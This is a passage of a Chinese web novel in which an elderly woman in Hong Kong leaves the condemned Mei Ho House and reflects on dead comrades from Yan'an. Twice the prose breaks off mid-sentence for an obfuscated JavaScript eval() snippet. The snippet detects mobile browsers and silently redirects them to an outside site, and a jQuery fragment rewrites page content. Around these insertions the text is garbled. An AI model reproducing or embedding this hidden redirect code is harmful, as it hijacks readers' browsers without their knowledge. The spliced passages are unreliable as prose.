只是如今自己已经不很感兴趣,女人的话题啊,这些年说得愈发多了,只是却也絮烦,倒是她早年的《撞到正》还有趣些。 午饭后,彩霄清洗了锅碗,然后站在阳台上,两手撑住栏杆,望向前方,深吸一口气:“真好,看得更远,加多一个优点,二楼的视野有点狭小。” 梅思点点头:“离爱文生也近些。” 彩霄转头乐道:“梅姨是真偏爱她家,我也总想着那里,浅水湾什么都好,就是没有爱文生,一想到这个,就觉得住在这边也很好。现在还有什么要做么?” “差不多了,你回去休息吧。” 送走了彩霄,梅思想要午睡一下,上床之前在房间里又转了一圈,三百二十尺的新家,比原来大了一些,许久以前就想添置的物件,终于有地方摆了,不但买了洗衣机,还加了一台烤箱,如今不是很能咬得动烤肉了,但吃烤面包还行,自己到了这个年纪,长久想要的东西都有了。 虽然搬离了旧居,梅思偶然还会去看看,二零零六年十月上旬,温度十分舒适了,这天早上,她一路慢慢走来这边,站在道路上往前一看,高大的铁丝网竖立在前面,将大厦包围起来,只一年多时间,外墙的油漆就脱落了许多,比从前更加惨淡,从外观就可以想象里面,定然是积了厚厚一层灰尘,从前的楼道无人定时清扫,只为这里还住了一个人,偶尔有人来打扫一下,只扫到二楼。 看着这迟迟不搬的老阿嬷,工友也感觉郁闷吧?望着自己,满眼悲伤:“阿嬷你还不走么?你看这墙上已经有裂纹,虽然只是一丝丝,不过让人忧心啊,而且楼道里还有一种味道,不知是哪一家,搬走的时候没有清理干净,留下杂物,想来是烂掉了,便要发臭,尤其夏天,味道更重,你住在这里,不难受么?” 自己抽了抽鼻子:“人老了,嗅觉不灵。” 关起门来进入梅林,“管她冬夏与春秋”,什么味道也闻不到。 到最后终于连自己也走了,这美荷楼便也彻底关闭,虽然也号称是文物,却不知未来命运如何,说是要二次新生,却还不见有动静,就连自己也怀疑,这样一幢老旧大厦,还能做些什么呢? 在楼前站了十几分钟,梅思转过身来,又慢慢走回去,路上经过一家书店,玻璃门上贴着广告,新书售卖,《天水围十二师奶》。 一百多页的书,好在文章短,又都是故事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“书看看就罢了,何苦这样动情?” “彩霄,这些年我为了自己,已经做了许多的事,现在很想为社会做点事。” 少女时代,从平乐黄家大宅出走,心中立定两个志向,一是改变社会,二是拯救自己,后来许多年,“改变社会”的梦想越来越远,奋力挣扎只是为自救,为自身的利益确实殚精竭虑,从前的理想却逐渐失去了光华,如今忽然之间,想到了初来香港时候,入住的女青年会。 挂断手机,彩霄“嗖”地站起身,走进厨房,把料理台上的菜肉又放回冰箱,换好衣服挎上皮包,就出了门,到不远处书店,直接问店员找书,好在居然有,她付钱拿了书,书店隔壁是咖啡厅,进去点了一份三文治,一杯咖啡,便坐在卡座之中摊开了书。 一顿午餐半个多钟的时间,便已经从头翻到尾,多数没有细看,毕竟大同小异,人若是倒霉,都是一样的路数,丈夫失业,酗酒赌博,孩子吸毒,略想一想,便头皮发紧,仿佛重回五十年前的石硖尾,虽然在回忆的光影之中,苦中有乐,但自己绝不愿重过那样的生活。 用餐巾擦拭着嘴角,彩霄招呼侍应,又要了一杯咖啡。 香港的师奶啊,早不再是本来的模样,鱼翅捞饭时代早已过去,自从九七年金融危机,又是股灾,又是楼灾,天水围的所谓“师奶”,已经好像难民一样,愧对“师奶”这个称呼。 从某个角度,自己也算是师奶,不过运气好,老公底子厚,所以即使经济低迷,自己也没有降低身价,仍然悠闲度日,确实说不清道不明的忧患,却也不过是如同张爱玲的祖母,李菊耦虽然担忧坐吃山空,其实却依然是守着大笔的财产,自己虽比不得李夫人,吃饭是不成问题的,只不过既然大家都在说,“经济不行啊”,自己便也随着感叹几句,“是啊,股息不厚”。 举着杯子再尝一下,什么都没有入口,原来竟已见了底,彩霄将咖啡杯如同酒杯一般,往桌面上一顿,梅姨总是说,文字是少有力量的,不过这一本书却发挥了效力,最起码,梅姨有了行动。 112.番外 晚霞 番外 晚霞 “黄菲同志,羡慕你还能够为社会服务,香港的义工制度是很好的,符合共产主义的精神,很应该在大陆也大力推广。我的身体这几年不太好,这一阵更是一直在住院,本来也很有心发挥余热,只可惜力不从心,未能为社会主义事业守护好自己的健康,是没有尽到共产党人的责任……” 两千零九年的十二月,梅思从书柜中翻出这一封信,是去年年中的时候,陈露云的女儿执笔,代她写给自己的,如今露云已经过世一年多了。 随着时间的流逝,昔日同伴越来越少,钟坤早已经作了古人,在他人生的最后十年,居然与陈露云意外熟识,有一种离奇的知音感,谈谈梅思,又说说沈芒,颇能共鸣。 书柜中还有一本书,延安回忆录,简体版,村里收拾钟坤的遗物,陈露云捡出这本书,寄给自己。 《梅花霜雪染尘埃》,扉页书名下方写了一串圆珠笔字,“生命是一袭华美的袍,上面爬满了蚤子”,字迹工整端正,但显得生疏艰涩,仿佛一个原本灵巧的工匠,多年没有雕刻,忽然间又拿起刻刀一样。 翻开书,天头地脚密密麻麻的小字批注: “陈同志说,当年梅小姐离开延安,同志朋友都并不乐观,想知道陕北高原如何难走,只要读欧阳山的<圣地>,唯有魂魄才能从那里飞出去,梅小姐居然能走出高原,回到桂林,简直是奇迹。回头找那本书来看。另,梅小姐曾谈香港断水,与黄土荒原或许不相上下。” “看陈同志带来的报纸,有人评论梅小姐的延安日记,以为文风好像琼瑶,我想梅小姐在西安的旅店,就如同谢冰莹蛰居上海的心情。” 一段又一段,俨然便是钟坤把日记写在了这里。 如今她们都已经不在了啊,前不久得到的消息,熊晖也去世了。 随着故人纷纷离去,梅思感到了孤独,并不是没有人同她说话,彩霄便时常来陪她,又在外面作义工,如今已不去天水围,就在左近帮手,总能见到人,不过在心的某一面,彼此却是不能互通的,那些能够真正理解的,多已经不在了。 比如前些时读过的那一本《仰天长啸》,邱会作将军的回忆录,梅思便感到不容易和旁人谈起,倘若是露云还活着,两个人通起电话来,会是怎样呢? “邱将军住过秦城监狱啊,看那篇描写,很恐怖。” “那个时代,很多事情都匪夷所思的。” “还有女囚给关在里面,虽然晓得不够资格,但总是忍不住设想到自己身上,延安的歌啊,现在我还会唱。” “后来应该都出来了,邱会作将军便是这样,能够过普通人的生活。” “然而很艰苦,普通民众的生活,很麻烦很费力。” “逐步改进,革命不是一蹴而就的。” 之后或许会谈到叶群: “林校长的事,把罪责都推给了她。” “那一段我也看了,简直要气炸了肺,说他是冤鬼,难道真纯洁得如同白玉一般?那么厉害一个副统帅,给老婆挟持了?就算连同她的儿子一起,两个人也未必能做成这件事,把老公真当成儿皇帝了?这真是新世纪的红颜祸水论,给无产阶级革命抹黑,真想不到邱将军那样政治高水平的人,也能说出这种话来,难怪他的这本书要在香港出。” “不单单是邱将军,这样的说法,我在别处也看到过,这些年给人家说得,愈发不堪了,改革开放这么多年,言论自由,网上什么说法都有,把一个追求进步的女学生,硬是往妃嫔争宠的方向去说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967353|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是嘛,咱们这些到了延安的人,很多都改了名字,叶静宜改名叶群,不是为了□□的原配叫汪静宜,叶群后来怎么样,我们级别低,不晓得,但她在延安,真是聪明能干,又守得住冷清,却给人说成这个样子,封建余毒的故事都编出来了,才子佳人小说荼毒太深。” 顺着旧文化阴魂不散的线索,便说到大陆如今的情形: “共产主义理想在消退,过去的东西又都回来了,连朱熹都要翻案,农村不分给女人宅基地,过去轰轰烈烈的时候,哪能想到会有这种事?本以为革命江山万万年啊。” 梅思手握话筒,一句话已经冲到唇边,却终于咽了下去。 “对于信仰,这些年是否有过怀疑?” 这样的话是不能问的,对于露云的信念与尊严,是一种侮辱。 即使是自己,也不愿意表示完全的怀疑,因为那太痛苦,会让人崩溃。 梅思手握信纸,视线落在字迹上,却并没有真的在读那些文句,头脑中是如烟的往事,滚滚而来,又轻轻散去。 不知过了多久,梅思胃部咕噜一声响,她这才如同大梦初觉一般,深深吸了一口气,终于喘过气来了,看一下墙上电子钟,已经过了十二点,该吃午饭,却不想烧饭,梅思放下信,慢慢站起身,拿了钱包,走出门去,今天午饭便是在爱文生吧,经历了许多变迁,爱文生依然在那里,是香港的眷恋。